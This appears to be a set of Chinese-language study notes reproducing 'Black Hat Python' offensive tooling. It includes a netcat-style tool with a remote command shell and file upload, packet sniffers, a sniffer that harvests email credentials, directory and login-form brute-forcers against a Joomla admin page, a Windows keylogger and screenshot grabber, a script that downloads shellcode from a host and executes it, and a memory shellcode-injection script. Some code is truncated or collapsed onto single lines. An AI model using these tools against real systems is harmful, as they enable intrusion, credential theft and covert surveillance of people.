python环境:python+KaliLinux虚拟机+WingIDE
python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH
### 取代netcat ###
#!/usr/bin/python
#-*- coding:utf8 -*-
import sys, socket, getopt, threading, subprocess
# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def run_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# 将输出发送
return output
def client_handler(client_socket):
global upload
global execute
global command
# 检查上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send("
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
def server_loop():
global target
# 如果没有定义目标,那我们监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# 现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response
# 等待更多的输入
buffer = raw_input("")
buffer += "\n"
# 发送出去
client.send(buffer)
except:
print "[*] Exception! Exiting."
#关闭连接
client.close()
def usage():
print "BHP Net Tool"
print "Usage: bhpnet.py -t target_host - p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command - initialize a commandshell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
#我们是进行监听还是仅从标准输入读取数据并发送数据?
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
#调用main函数
main()
原始套接字和流量嗅探:解码ip/解码ICMP/udp主机存活扫描
### Windows和Linux上的包嗅探 ###
#-*- coding:utf8 -*-
import socket
import os
# 监听主机
host = "10.10.10.145"
# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0)) #端口为0
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO)
# 读取单个数据包
print sniffer.recvfrom(65565)
# 在Windows平台上关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
### 解码IP层 ###
#-*- coding:utf8 -*-
import socket
import os
import struct
from ctypes import *
host = "10.10.10.145" # 监听主机
# ip头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4), #ip head length:头长度
("version", c_ubyte, 4), #版本
("tos", c_ubyte), #服务类型
("len", c_ushort), #ip数据包总长度
("id", c_ushort), #标识符
("offset", c_ushort), #片偏移
("ttl", c_ubyte), #生存时间
("protocol_num", c_ubyte), #协议类型
("sum", c_ushort), #头部校验和
("src", c_ulong), #源ip地址
("dst", c_ulong) #目的ip地址
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称的对应
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示
self.src_address = socket.inet_ntoa(struct.pack(" self.dst_address = socket.inet_ntoa(struct.pack(" # 协议类型 try: self.protocol = self.protocol_map[self.protocol_num] except: self.protocol = str(self.protocol_num) if os.name == "nt": socket_protocol = socket.IPPROTO_IP else: socket_protocol = socket.IPPROTO_ICMP sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) #这里端口为0 # 设置在捕获的数据包中包含IP头 sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 在Windows平台上,我们需要设置IOCTL以启用混杂模式 if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) try: while True: # 读取数据包 raw_buffer = sniffer.recvfrom(65565)[0] # 将缓冲区的前20个字节按IP头进行解析 ip_header = IP(raw_buffer[0:20]) # 输出协议和通信双方IP地址 print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) # 处理CTRL-C except KeyboardInterrupt: # 如果运行再Windows上,关闭混杂模式 if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) Scapy(流量嗅探):窃取Email认证-ARP缓存投毒-处理PCAP文件(人脸识别) sniff(filter="",iface="any",prn=function,count=N) # iface嗅探的网卡、prn自动回调函数、count嗅探个数 ### 获取Email认证 ### #-*- coding:utf8 -*- from scapy.all import * # 定义数据包回调函数 def packet_callback(packet): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print "[*] Server: %s" % packet[IP].dst print "[*] %s" % packet[TCP].payload # print packet.show() # 开启嗅探器 #对常见电子邮件端口进行嗅探:110(POP3)、25(SMTP)、143(IMAP) #store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存 sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0) web攻击:urllib2(套接字函数库)>>暴力破解Web应用目录和文件-暴力破解HTML表格认证 ### 暴力破解Web应用目录和文件 ### #-*- coding:utf8 -*- import urllib,urllib2,threading,Queue threads = 50 target_url = "http://testphp.vulnweb.com" wordlist_file = "./all.txt" resume = None #用于网络中断时延续上一个尝试的字符串 user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36" def built_wordlist(wordlist_file): #读入字典文件 fd = open(wordlist_file, "rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: #删除字符串末尾的空格 word = word.rstrip() #如果是延续上一次 if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words def dir_bruter(word_queue, extentsions=None): while not word_queue.empty(): attempt = word_queue.get() attempt_list = [] #用于储存要尝试的url #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件 if "." not in attempt: attempt_list.append("/%s/" % attempt) else: attempt_list.append("/%s" % attempt) #暴力破解扩展名 if extentsions: for extentsion in extentsions: attempt_list.append("/%s%s" % (attempt, extentsion)) #迭代我们要尝试的文件列表 for brute in attempt_list: #构造url url = "%s%s" % (target_url, urllib.quote(brute)) #print url try: headers = {} headers['User-Agent'] = user_agent r = urllib2.Request(url, headers=headers) response = urllib2.urlopen(r) #print response.__dict__ if len(response.read()): print "[%d] => %s" % (response.code, url) except urllib2.URLError,e: #用e接收URLError的信息 # code属性存在,并且code不是404 if hasattr(e, 'code') and e.code != 404: print "!!! %d => %s" % (e.code, url) pass word_queue = built_wordlist(wordlist_file) extentsions = [".php", ".bak", ".orig",".inc"] #开启多线程扫描 for i in range(threads): t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions)) t.start() ### 暴力破解HTML表格认证 ### #1.检索登录页面,接收所有返回的cookie #2.从HTML中获取所有表单yuans #3.在字典中设置需要猜测的用户名和密码 #4.发送HTTP POST数据包到登陆处理脚本,数据包含所有HTML表单元素值和cookie值 #5.测试是否登陆成功 #-*- coding:utf8 -*- import urllib, urllib2, cookielib, threading, sys, Queue, HTMLParser #设置 user_thread = 10 username ="giantbranch" wordlist_file ="./mydict.txt" resume = None #特点目标设置 target_url = "http://192.168.1.105/Joomla/administrator/index.php" target_post = "http://192.168.1.105/Joomla/administrator/index.php" username_field = "username" password_field = "passwd" #登陆成功后,title里面就有下面的文字 success_check = "Administration - Control Panel" class BruteParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.tag_results = {} def handle_starttag(self, tag, attrs): #判断是否是input标签 if tag == "input": tag_name = None tag_value = None for name,value in attrs: #input标签里面不是有name,value,type等属性吗,这里只判断name和value #不过我觉得第二个if是多余的 if name == "name": tag_name = value if name == "value": tag_value = value if tag_name is not None: self.tag_results[tag_name] = value class Bruter(object): def __init__(self, username, words): self.username = username self.password_q = words self.found = False print "Finished setting up for %s" % username def run_bruteforce(self): for i in range(user_thread): t = threading.Thread(target=self.web_bruter) t.start() def web_bruter(self): while not self.password_q.empty() and not self.found: #从字典获取密码,并去除右边的空格 brute = self.password_q.get().rstrip() #使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie jar = cookielib.FileCookieJar("cookies") #用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response =opener.open(target_url) page = response.read() print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()) #解析隐藏区域(表单) parser = BruteParser() parser.feed(page) #已经含有隐藏表单的键值 post_tags = parser.tag_results #添加我们的用户名和密码区域 post_tags[username_field] = self.username post_tags[password_field] = brute #输出post的数据(键值) # for key,value in post_tags.items(): # print key,':',value #url编码post的数据,开始尝试登陆 login_data = urllib.urlencode(post_tags) login_response =opener.open(target_post, login_data) login_result = login_response.read() # 判断是否登陆成功 if success_check in login_result: #设置为True,让循环结束 self.found = True print "[*] Bruteforce successful." print "[*] Username: %s" % username print "[*] Password: %s" % brute print "[*] Waiting for other threads to exit..." def built_wordlist(wordlist_file): #读入字典文件 fd = open(wordlist_file, "rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: #删除字符串末尾的空格 word = word.rstrip() #如果是延续上一次 if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words #构造字典 words = built_wordlist(wordlist_file) #初始化Bruter类 bruter_obj = Bruter(username, words) #调用run_bruteforce函数 bruter_obj.run_bruteforce() python实现木马:pyHook+pythoncom>>键盘记录(win32clipboard)-截取屏幕快照-shellcode执行 ### 键盘记录 ### #-*- coding:utf8 -*- import pythoncom, pyHook, win32clipboard, ctypes user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None def get_current_process(): # 获取前台窗口句柄 hwnd = user32.GetForegroundWindow() # 获得进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) # 保存当前进程ID process_id = "%d" % pid.value # 申请内存 executable = create_string_buffer("\x00" * 512) # 打开进程 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) # 获取进程所对应的可执行文件的名字 psapi.GetModuleBaseNameA(h_process, None, byref(executable),512) # 读取窗口标题 window_title = create_string_buffer("\x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title), 512) # 输出进程相关信息 print print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value) print # 关闭句柄 kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) def keyStore(event): global current_window # 检查目标是否切换了窗口 if event.WindowName != current_window: current_window = event.WindowName get_current_process() # 检测按键是否为常规按键(非组合键等) if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: # 若输入为[CTRL-V],则获取剪切板内容 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print "[PASTE] - %s" % (pasted_value), else: print "[%s]" % event.Key, # 返回直到下一个钩子事件被触发 return True # 创建和注册钩子函数管理器 k1 =pyHook.HookManager() k1.KeyDown = keyStore # 注册键盘记录的钩子,然后永久执行 k1.HookKeyboard() pythoncom.PumpMessages() ### 截取屏幕快照 ### #-*- coding:utf8 -*- import win32gui, win32ui, win32con, win32api # 获取窗口桌面的句柄 hdesktop = win32gui.GetDesktopWindow() # 获得显示屏的像素尺寸 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表 desktop_dc = win32gui.GetWindowDC(hdesktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件 mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) # 复制屏幕到我们的内存设备描述表中 mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY) # 将位图保存到文件中 screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp") # 释放对象 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) ### Python方式的shellcode执行 ### #-*- coding:utf8 -*- import urllib2, ctypes, base64 # 从搭建的服务器下下载shellcode url = "http://10.10.10.128:8000/shellcode.bin" response = urllib2.urlopen(url) # 解码shellcode shellcode = base64.b64decode(response.read()) # 申请内存空间 shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) # 创建shellcode的函数指针 shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) # 执行shellcode shellcode_func() ### 直接代码注入 ### #-*- coding:utf8 -*- from immlib import * class cc_hook(LogBpHook): def __init__(self): LogBpHook.__init__(self) self.imm = Debugger() def run(self, regs): self.imm.log("%08x" % regs['EIP'], regs['EIP']) self.imm.deleteBreakpoint(regs['EIP']) return def main(args): imm = Debugger() calc = imm.getModule("calc.exe") imm.analyseCode(calc.getCodebase()) functions = imm.getAllFunctions(calc.getCodebase()) hooker = cc_hook() for function in functions: hooker.add("%08x" % function, function) return "Tracking %d functions." % len(functions) #-*- coding:utf8 -*- import sys, struct equals_button = 0x01005D51 # 要分析的内存文件位置 memory_file = "D:\\Windows XP Professional-f6b49762.vmem" slack_space = None trampoline_offset = None # 读入shellcode sc_fd = open("cmeasure.bin", "rb") sc = sc_fd.read() sc_fd.close() sys.path.append("D:\\volatility-2.3") import volatility.conf as conf import volatility.registry as registry registry.PluginImporter() config = conf.ConfObject() import volatility.commands as commands import volatility.addrspace as addrspace registry.register_global_options(config, commands.Command) registry.register_global_options(config, addrspace.BaseAddressSpace) config.parse_options() config.PROFILE = "WinXPSP3x86" config.LOCATION = "file://%s" % memory_file import volatility.plugins.taskmods as taskmods p = taskmods.PSList(config) for process in p.calculate(): if str(process.ImageFileName) == "calc.exe": print "[*] Found calc.exe with PID %d" % process.UniqueProcessId print "[*] Hunting for physical offsets...please wait." address_space = process.get_process_address_space() pages = address_space.get_available_pages() # page[0]:页面地址 # page[1]:页面大小 for page in pages: physical = address_space.vtop(page[0]) if physical is not None: fd = open(memory_file, "r+") fd.seek(physical) buf = fd.read(page[1]) try: offset = buf.index("\x00" * len(sc)) slack_space = page[0] + offset print "[*] Found good shellcode location!" print "[*] Virtual address: 0x%08x" % slack_space print "[*] Physical address: 0x%08x" % (physical + offset) print "[*] Injecting shellcode." fd.seek(physical + offset) fd.write(sc) fd.flush() # 创建我们的跳转代码 # 对应的汇编指令为: # mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址) # jmp ebx tramp = "\xbb%s" % struct.pack(" tramp += "\xff\xe3" if trampoline_offset is not None: break except: pass fd.close() # 查看目标代码的位置 if page[0] <= equals_button and equals_button < (page[0] + page[1] -7): print "[*] Found our trampoline target at: 0x%08x" % (physical) # 计算虚拟偏移 v_offset = equals_button - page[0] # 计算物理偏移 trampoline_offset = physical+ v_offset print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset) if slack_space is not None: break print "[*] Writing trampoline..." fd = open(memory_file, "r+") fd.seek(trampoline_offset) fd.write(tramp) fd.close() print "[*] Done injecting code."